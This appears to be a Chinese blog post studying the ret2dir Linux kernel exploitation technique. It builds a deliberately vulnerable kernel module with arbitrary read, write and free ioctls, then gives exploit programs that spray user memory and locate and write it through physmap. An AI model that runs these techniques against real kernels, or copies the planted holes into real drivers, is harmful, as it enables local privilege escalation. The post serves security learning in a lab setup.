ret2dir手法学习

collectcrop Lv3

ret2dir手法学习

原理

Ret2dir(Return-to-Direct Mapping)是一种 内核利用 技术,攻击者可以利用它 绕过 SMEP、SMAP、pxn 等用户空间与内核空间隔离的防护手段,最终实现 本地提权

大多数 Linux 内核(基于 x86_64 架构) 中,物理地址(Physical Address) 的很大一部分会被 直接映射(direct mapping)内核虚拟地址空间(Kernel Virtual Address Space),即 physmap 区域。这意味着,用户态(Userland)可以通过某些手段影响物理页,而内核可能会使用这些页,从而形成攻击面。

比如我们如果在用户空间大量申请内存,这些内存会停留在 ram 中,也就是会占用实际的物理地址,这些物理内存是会被physmap映射的,那么我们就能够通过改用户空间的内存,在内核空间布置ROP链(高版本有不可执行,所以不能直接布置shellcode),然后在内核空间劫持程序执行流到对应的ROP链即可。

Case Study

这里先参照这篇文章自己搭个内核环境以及编写一个具有漏洞的模块进行学习。我们先写一个自己的内核模块,这里注册了一个叫做kpwn的misc设备以便之后用ioctl方式进行交互。这个模块提供了任意地址读、任意地址写、任意分配和回收内存的功能,以方便进行ret2dir的原理验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>

MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY 0x1111
#define WRITE_ANY 0x2222
#define ADD_ANY 0x3333
#define DEL_ANY 0x4444

struct in_args{
uint64_t addr;
uint64_t size;
char __user *buf;
};


static long read_any(struct in_args *args){ //任意读取内核地址,可以内存搜索
long ret = 0;
char *addr = (void *)args->addr;
if(copy_to_user(args->buf,addr,args->size)){
return -EINVAL;
}
return ret;
}
static long write_any(struct in_args *args){ //任意改写内核地址
long ret = 0;
char *addr = (void *)args->addr;
if(copy_from_user(addr,args->buf,args->size)){
return -EINVAL;
}
return ret;
}
static long add_any(struct in_args *args){ //任意申请内核地址并返回给用户态
long ret = 0;
char *buffer = kmalloc(args->size,GFP_KERNEL);
if(buffer == NULL){
return -ENOMEM;
}
if(copy_to_user(args->buf,(void *)&buffer,0x8)){
return -EINVAL;
}
return ret;
}
static long del_any(struct in_args *args){ //用户态任意释放内核地址
long ret = 0;
kfree((void *)args->addr);
return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long ret = -EINVAL;
struct in_args in;
if(copy_from_user(&in,(void *)arg,sizeof(in))){
return ret;
}
switch(cmd){
case READ_ANY:
ret = read_any(&in);
break;
case WRITE_ANY:
ret = write_any(&in);
break;
case DEL_ANY:
ret = del_any(&in);
break;
case ADD_ANY:
ret = add_any(&in);
break;
default:
ret = -1;
}
return ret;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = kpwn_ioctl
};

static struct miscdevice misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kpwn",
.fops = &fops
};

int kpwn_init(void)
{
misc_register(&misc);
return 0;
}

void kpwn_exit(void)
{
printk(KERN_INFO "Goodbye hackern");
misc_deregister(&misc);
}

module_init(kpwn_init);
module_exit(kpwn_exit);

使用如下makefile进行编译内核模块,这里KERNELDR需要换成自己编译好的内核目录obj-m指定了目标输出文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
obj-m := myko.o

KERNELDR := /mnt/e/ctf/kernel/linux-5.15.153

PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules

modules_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install

modules_prepare:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules_prepare

clean:
rm -rf *.o *~ core .depend .*.cmd *.mod.c .tmp_versions *.mod *.order *.symvers

我使用的启动脚本如下:

1
2
3
4
5
6
7
8
9
10
11
// run.sh
exec qemu-system-x86_64 \
-cpu kvm64,+smep,+smap \
-m 150M \
-nographic \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-monitor /dev/null \
-kernel "./bzImage" \
-initrd "./initramfs.cpio" \
-no-reboot \
-s

文件系统中的init文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

chown 0:0 /flag
chmod 400 /flag
chmod 777 /tmp

insmod myko.ko
setsid /bin/cttyhack setuidgid 0 /bin/sh

这里我在手动创建文件系统时遇到了一些问题,由于lib中的命令都是用静态编译的busybox链接实现,我一开始是直接利用busybox的list指令列出所有可用的函数,然后全部解析到lib目录中。但是这个list中并不包括 setuidgid 这个命令,导致不能成功进入内核,所以还需要手动导一下setgiduid,自动化脚本如下。

1
2
3
4
5
6
7
cd bin

for cmd in $(busybox --list); do
ln -sf busybox $cmd
done

ln -sf busybox setuidgid

之后我们可以写一个exp来验证ret2dir手法核心原理,我们的exp先准备好一些交互用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>

#define READ_ANY 0x1111
#define WRITE_ANY 0x2222
#define ADD_ANY 0x3333
#define DEL_ANY 0x4444


typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void loglx(char *tag,uint64_t num){ //用来打印地址
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx",num);
}

struct in_args{
uint64_t addr;
uint64_t size;
char *buf;
};

void add_any(int fd,u64 size,char *buf){
struct in_args in;
in.buf=buf;
in.size=size;
long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
struct in_args in;
in.addr = addr;
long res = ioctl(fd,DEL_ANY,&in);
}

然后我们在main函数中先用add_any函数申请一块内存,然后靠着返回的地址在用户态打印出来看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(){
int fd;
char *buf = malloc(0x1000);

fd = open("/dev/kpwn",O_RDONLY);
if(fd<0){
printf("open error\n");
return -1;
}

u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf64);
u64 slab_addr = buf64[0];
loglx("slab_addr",slab_addr);
}

然后我们去查询对应内核版本的内存布局情况,主要用的是这个网站,选择对应的版本后进入source/Documentation/x86/x86_64/mm.txt即可查看内存布局(有时候是mm.rst)。这里我用的内核版本是linux-5.15.153,查询到的结果如下,我们kmalloc申请到的内存确实是在direct mapping of all physical memory中的,也就是大家所称为的physmap。这里我在调试时喷射的内存在kmalloc申请到的内存的更高地址处,这里获取slab分配的地址时其实不用像原文一样进行按位与处理。

之后就可以进行内存喷射并且搜索内存了,比如有如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// gcc exp.c -static -masm=intel -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>

#define READ_ANY 0x1111
#define WRITE_ANY 0x2222
#define ADD_ANY 0x3333
#define DEL_ANY 0x4444


typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void loginfo(char *tag){
printf("[%s] ",tag);
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx",num);
}

struct in_args{
uint64_t addr;
uint64_t size;
char *buf;
};

void add_any(int fd,u64 size,char *buf){
struct in_args in;
in.buf=buf;
in.size=size;
long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
struct in_args in;
in.addr = addr;
long res = ioctl(fd,DEL_ANY,&in);
}

#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
int main(){
int fd;
char *buf = malloc(0x1000);

fd = open("/dev/kpwn",O_RDONLY);
if(fd<0){
printf("open error\n");
return -1;
}

u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf64);
u64 slab_addr = buf64[0] & 0xffffffffff000000;
loglx("slab_addr",slab_addr);
del_any(fd,slab_addr);

for(int i=0;i<spray_times;i++){
// 内存喷射,大量在用户空间申请内存
void *mp;
mp = mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(mp==MAP_FAILED){
printf("mmap error\n");
return -1;
}
memset(mp,'A',mp_size);
spray[i]=mp;
}
loginfo("searching\n");
for (u64 addr=slab_addr;addr<0xffffc80000000000;addr+=0x1000){
// 内存搜索,寻找连串的A开始的地址,也就是对应用户空间相应的内存
char *target = "AAAAAAAA";
char *dirty = "BBBBBBBB";
u64 pos = 0;
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64)memmem(buf,0x1000,target,8);
if (pos){
u64 addr_to_change = addr + (pos-(u64)buf);
loglx("physmap hit!",addr);
loglx("addr_to_change",addr_to_change);
break;
}
}

return 0;
}

执行exp时有时候会遇到内存不足的问题,由于我们要提高physmap的命中率,所以要尽可能耗尽所有内存进行内存喷射,我们的exp是申请了64MB的内存,我们可以进入内核使用free -h查看available的数值大小,也就是应用程序可用内存。这里我在run.sh中设置128M内存时是不够用的,256M内存又搜半天没结果,后面我用150M内存进入内核一下子就碰撞到physmap。

但有时候hit时并不是直接到了我们喷射的内存中,而是我们加载到内存中的代码,这样的话我们在每次找到pos时就不要用break退出了,这样就能找到我们实际大量申请的内存。其实还有种更改的方案是自定义一个不需要指定target的类似memmem的函数,这样就不会需要硬编码写target了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// memmem替代函数
int find_series(char *buf,size_t buflen,char c,int len){
if (buf == NULL || buflen == 0 || len > buflen || len <= 0)
return -1;

int count=0;
for(int i=0;i<buflen;i++){
if(buf[i]==c)
count++;
else
count=0;
if(count==len)
return i-len+1;
}
return -1;
}

然后就能一遍找到对应喷射内存,然后我想验证用户空间与内核空间在physmap上的对应关系,这里我尝试了改用户空间的内容再在原来内核空间搜索到的位置来验证,但是却不能正确修改,而是在其它地址位置能找到修改后的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int main(){
int fd;
char *buf = malloc(0x1000);
fd = open("/dev/kpwn",O_RDONLY);
if(fd<0){
printf("open error\n");
return -1;
}

u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf64);

u64 slab_addr = buf64[0];
loglx("raw_slab_addr",slab_addr);
slab_addr = slab_addr & 0xffffffffff000000;
loglx("slab_addr",slab_addr);
del_any(fd,slab_addr);

for(int i=0;i<spray_times;i++){
// 内存喷射,大量在用户空间申请内存
void *mp;
mp = mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(mp==MAP_FAILED){
printf("mmap error\n");
return -1;
}
memset(mp,'A',mp_size);
spray[i]=mp;
}
for (u64 addr=slab_addr;addr<0xffffc80000000000;addr+=0x1000){
// 内存搜索,寻找连串的A开始的地址,也就是对应用户空间相应的内存

u64 pos = 0;
u64 addr_to_change;
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = find_series(buf,0x1000,'A',0x100);
if (pos!=-1){
addr_to_change = addr + pos;
loglx("physmap hit!",addr);
loglx("addr_to_change",addr_to_change);
loginfo("changing spray");

add_any(fd,0x500,buf); //方便打断点
for(int i=0;i<spray_times;i++){
memset(spray[i],'B',0x1000); // 在用户态修改对应内存
}
// 查看内核态对应位置内容是否变化
memset(buf,0,0x1000);
read_any(fd,addr_to_change,buf,0x40);
printf("%s\n",buf);
break;
}
}

return 0;
}

但如果是改内核空间的内容,然后在用户态查看内容是否有被修改,就能轻易的验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}

u64 *check(){
int i=0;
for(i=0;i<spray_times;i++){
u64 *p = spray[i];
int j=0;
while(j<mp_size/8){
if(p[j]!=0x4141414141414141){
loglx("check change",(u64)&p[j]);
/*x64dump((void *)&p[j],0x20);*/
return &p[j];
}
j+=0x1000/8;
}
}
return NULL;
}

int main(){
int fd;
char *buf = malloc(0x1000);
fd = open("/dev/kpwn",O_RDONLY);
if(fd<0){
printf("open error\n");
return -1;
}

u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf64);

u64 slab_addr = buf64[0];
loglx("raw_slab_addr",slab_addr);
slab_addr = slab_addr & 0xffffffffff000000;
loglx("slab_addr",slab_addr);
del_any(fd,slab_addr);

for(int i=0;i<spray_times;i++){
// 内存喷射,大量在用户空间申请内存
void *mp;
mp = mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(mp==MAP_FAILED){
printf("mmap error\n");
return -1;
}
memset(mp,'A',mp_size);
spray[i]=mp;
}
for (u64 addr=slab_addr;addr<0xffffc80000000000;addr+=0x1000){
// 内存搜索,寻找连串的A开始的地址,也就是对应用户空间相应的内存

u64 pos = 0;
u64 addr_to_change;
char *dirty = "BBBBBBBBBBBBBBBB";
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = find_series(buf,0x1000,'A',0x100);
if (pos!=-1){
addr_to_change = addr + pos;
loglx("physmap hit!",addr);
loglx("addr_to_change",addr_to_change);

write_any(fd,addr_to_change,dirty,0x10);
u64 *p = check();
if (p!=NULL){
loginfo("dirty success!");
x64dump((char *)p,0x10);
}
break;
}
}

return 0;
}

最后就能成功修改了。

这里这个case是采用内存搜索的方式进行寻找我们与用户空间相同的物理映射,实际上一般的kernel题不会有任意地址读取返回的内存搜索机会。一般而言我们可以直接在用户空间布置大量具有slide性质的rop链,然后靠溢出等漏洞劫持程序执行流返回到rop链。这里虽然说可能改用户态数据不好精确定位到内核中physmap的具体位置,但是由于该映射关系的存在,只要我们在内存中填满rop链,就有很高的概率能够执行我们想要的内容。在实际运用中,只要我们知道了内核的基地址,然后就能够直接劫持执行流到physmap的较高地址处。

  • 标题: ret2dir手法学习
  • 作者: collectcrop
  • 创建于 : 2025-03-09 17:07:15
  • 更新于 : 2025-03-09 17:07:31
  • 链接: https://collectcrop.github.io/2025/03/09/ret2dir手法学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
ret2dir手法学习